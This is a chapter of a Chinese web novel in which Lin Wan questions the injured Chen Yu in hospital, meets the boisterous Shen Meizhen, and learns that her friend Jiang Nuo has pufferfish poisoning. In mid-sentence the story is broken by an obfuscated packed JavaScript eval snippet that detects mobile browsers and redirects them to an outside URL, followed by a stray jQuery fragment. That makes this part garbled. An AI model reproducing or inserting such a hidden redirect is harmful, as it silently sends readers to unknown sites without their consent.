林晚正在等待黄强强的回应,却听到他开始蹩脚地转移话题:“这个晚晚姐,你刚刚在参加聚会呀,这裙子好靓塞。”
不伦不类的粤语,林晚忍着想要扶额的冲动,回应道:“陈屿不会走路上就骨折的。”她看了眼陈屿脸上明显的伤口,以及打着石膏的左手,又转向黄强强,勉强勾起唇角。
“如果你不告诉我过程,那么你叫我来的目的是什么。”她已经尽量放缓语气了,希望借此感化这位中二少年的内心。
“因为我妈叫我回家了。”黄强强委委屈屈地回答,一脸以林晚马首是瞻的模样。
林晚:“……”
这个理由,有些太合理了,让她当时接到电话时的紧慌失措荡然无存。
她以为的晕过去:陈屿的生命触及死亡的边界,急需他人输血(偶像剧都是这么拍的)。
实际上的晕过去:手术麻药劲没过。
“那你先走吧。”林晚放弃治疗,决定陈屿醒后直接问他,更加直接同时避免沟通中信息的损耗——她对黄强强的沟通能力抱有怀疑。
黄强强摇头,有些畏缩地望了林晚一眼。
林晚迅速放柔表情,像哄小朋友一样,将原本的话又说了一遍。
黄强强持续摇头,脖子上金属制品叮叮铛铛碰撞在一起,像误入演奏现场。
林晚缓慢眨了三下眼皮后,黄强强终于说话了。
“我妈已经在路上了。”
一个弱势的母亲,必然拥有一个强势的孩子;而一个强势的母亲,必然有一个弱势的孩子。
在看见黄强强母亲的一刹那,林晚在心中做出结论。
有缘千里来相会,这位美艳动人的女子正是上次在派出所与出租车司机争论的那一位。
——孽缘啊。林晚在内心感慨世界之小,上一回这位母亲还忙着回家给孩子做饭,今天都遇上了。
沈美珍的目光扫过自己不争气的儿子,落在病房中穿着晚礼服的林晚身上。她将羊毛卷头发向后一扬,气势汹汹走到林晚面前。
那气势,那姿态,伴随着小高跟皮鞋在地板上“哒哒”的声响,似乎旁边的大爷都下了一大跳,“欻”一声,撑着手拿起旁边的架子把中间窗前拉起来。
那模样看着又狼狈又凄惨。
林晚有些不敢说话,面对这样有力量、有个性的女性,她觉得自己有些过于孱弱,她甚至于开始思考要如何道歉显得有诚意。
然而下一秒:“姑娘,你这一身好靓噻。”
和黄强强一模一样的口音,林晚的道歉到了嘴边硬是没有说出口。
哈。林晚愣在原地。
“你也很靓。”林晚真心实意夸回去,用着一模一样的口音。
大波浪、紧身衣,画了妆容,沈美珍明显精心打扮过出门。就像上次在派出所见到那样。
“唉呀,我老了,和你们小姑娘比不了。”沈美珍毫不在意地挥挥手,“上次还怪尴尬的,我一人在那里又蹦又跳。没想到能和你在这里见面。”
林晚有些说不上话,只能笑着点头。她喜欢性格豪放的人,像姜诺那样的。
“小鱼怎么样了,给你打电话遮遮掩掩的,早告诉我就不用挨骂了嘛?”沈美珍一巴掌呼在黄强强肩头。
黄强强单薄点的肩膀更显瑟缩,像秋日的黄叶一般不住地颤抖着,期期艾艾地开口:“屿哥,不让说。我还是偷偷跑出去打的电话。”
他觉得自己委屈极了,明明想遵守承诺,最后有两边都不讨好。
“小鱼不让说。”沈美珍皱起新纹不久的眉毛:“又和他家里有关。”
家里?
林晚捕捉到了关键词,陈屿不是孤儿吗?哪来的家。
黄强强瞄了一眼林晚,哼哼唧唧点着头。
“老娘告诉过你,这种事情一定要先告诉我们街坊邻居。”沈美珍脾气显然又上来了。
“哥说家里情况太复杂,不想连累我们。”黄强强几乎是用气声在说话。
明明很努力压低声音,但病房就这么一点大,不仅林晚自己听到了,她甚至觉得窗边那大爷都能听得一清二楚。
沈美珍不满意:“声音要敞亮,支支吾吾算什么。”家长经典语录。
“哥醒了,哥你说,我去叫医生。”黄强强格外的积极,哪怕呼叫铃可以做到的事情,他却快活地要自己跑一趟。
“沈阿姨,是我让黄强强不要告诉你们的。”床上的病人终于在三人秘密而洪亮的讲话声中苏醒。
脸上的伤疤让他看上去像一个易碎的瓷器,脆弱、似乎很容易击垮。
但林晚知道,不是这样的。
沈美珍似乎是知道他的脾气,也没有说他什么,摇了摇头。
“哎,等你想告诉咱们的时候,自然回告诉的。”她像是在劝慰陈屿又像是在告诉自己。
“行了,这也没位置让我们坐,咱也不当电灯泡了。让你女朋友留下陪你敖。”沈美珍来也匆匆,去也匆匆地,转头就拉着刚进门黄强强走出病房。
林晚原地无语凝噎,窗边的懦弱大爷终于敢把帘子来开一条缝,跟林晚搭腔:“我老伴也是这样的,有点强势,但讨我喜欢。可惜没我长命呀!”
最后一个“呀”字,他压着长长地语调,像是想在一个吐字将自己的一生完整回忆完。话说完,大爷笑了笑,并不懦弱而是沧桑。
“趁年轻,把握时光。”他说完,又把帘子拉上了,世外高人的模样。
林晚已经彻底笑不出来了,陈屿倒是垂着眼睛一脸若有所思。
林晚猜测他是真的有所触动,坠入爱情的人都不太理性,爱情必然是感性的。
护士给陈屿检查完身体,叮嘱了两句话就离开了。
空间里里似乎一下子就剩下他们两个人,医院的白炽灯的光线显得格外硬,直直打在陈屿的脸上,出现小片的阴影遮挡。
“说说吧,怎么回事?”林晚说话一如既往地直接了当,没有铺垫,很少兜圈子,开门见山,直白却显得真诚。
子虚乌有的事情,不需要她特意去纠结。
“不是大事。”陈屿勾唇笑了一下,很勉强的样子。
把什么都挡住了,好像笑一下,那些真实的伤害都不存在了一样。林晚有些受不了他笑。
甚至于他的笑容牵扯到脸上的伤口,原本没有愈合的伤口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950404|177539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
迅速崩裂,渗出血来。
一瞬间,林晚突然觉得自己所有询问,想要关心的语言都是那么苍白无力的。
她清晰的意识到,无论平日陈屿同自己的举动再怎么亲密,哪怕他喜欢倚在自己的肩膀上。
他们之间依旧有着厚厚的隔阂,陈屿很少真正表露他的情绪,永远那么的平和、那么的游刃有余。
“你应该告诉我的。”林晚还是说出了口。
“姐姐,帮我倒一杯水好吗?”
眸子弯起,陈屿平和地说着。
林晚磨了磨后槽牙,认命般拿起水壶给陈屿到了杯温水,顺手找了一根吸管,放在杯中递到他的唇边。她小时候就是这么照顾江月星的。
同样的无力感,明明她就在眼前,伸手便能感知她的存在,却又清晰知道她已经不在了,或者说,现在存活的她——已经不是当初那个人了。
林晚不喜欢这样。
陈屿刚刚要咬住吸管,林晚就把吸管拿开了。
麻药作用下,他愣愣地抬起眼睛,却听到林晚说:“把事实告诉我,不然没水喝。”说着话,她将塑料水杯往远离陈屿的方向挪了挪。
陈屿笑得用完好的那支手臂捂住了眼睛,笑得胸膛在颤抖。
“被人打的。”他说。
林晚扯了扯嘴角,能说些她不知道的吗?
握在她手心的手机开始“嗡嗡”震动,今天是怎么了,怎么电话一个接着一个的。林晚深吸一口气,看了眼手机。
大诺?
她不是去第二场了吗,怎么现在打电话给自己?
林晚蹙眉,接起了电话。
“晚晚,我在江州医院。”对面的声音显得格外有气无力,姜诺几乎是从喉咙里勉强发出的声音。
她也在江州医院!过于魔幻的世界,林晚当下觉得自己有些晕乎乎的。
她几乎是飘着问:“你怎么了?”
“河豚有毒。”姜诺一字一句地说着,实在痛的刻骨铭心,说完话,她不住地喘着气。
“现在吃了河豚的人几乎都在这里。”
原来他们的第二场在医院呀,林晚面无表情地想到。
“晚晚,你现在在哪里呀?”姜诺说着,不住的虚弱咳嗽。
“我也在江州医院。”林晚沉默片刻,还是回答到。
“我去,你不是没吃河豚吗?”姜诺震惊了:“难道只要闻到那河豚味道的人都中毒了。”她的语气显得慌乱极了。
“你在哪里?我们应该在一片区。”电话那头传来布料摩挲的声音,听起来像是姜诺坐起身子开始寻找。
“你先别动,我来找你。”林晚急急说着:“我没中毒,是陈屿出了点事情。”
对面长舒一口气:“那就好,我在一楼输液大厅,晚晚快来找我吧。”后半句话显然在卖乖。
林晚看了一眼对面的陈屿,回答道:“你先等一下下,我先把这里的事情处理一下,马上来找你昂。”
说着她挂断了电话,看着眼前坐起身的人。
“继续说吧,小鱼。”她对着陈屿说道:“不然就没人照顾你了。”她随即扬了扬手机,威胁般说着。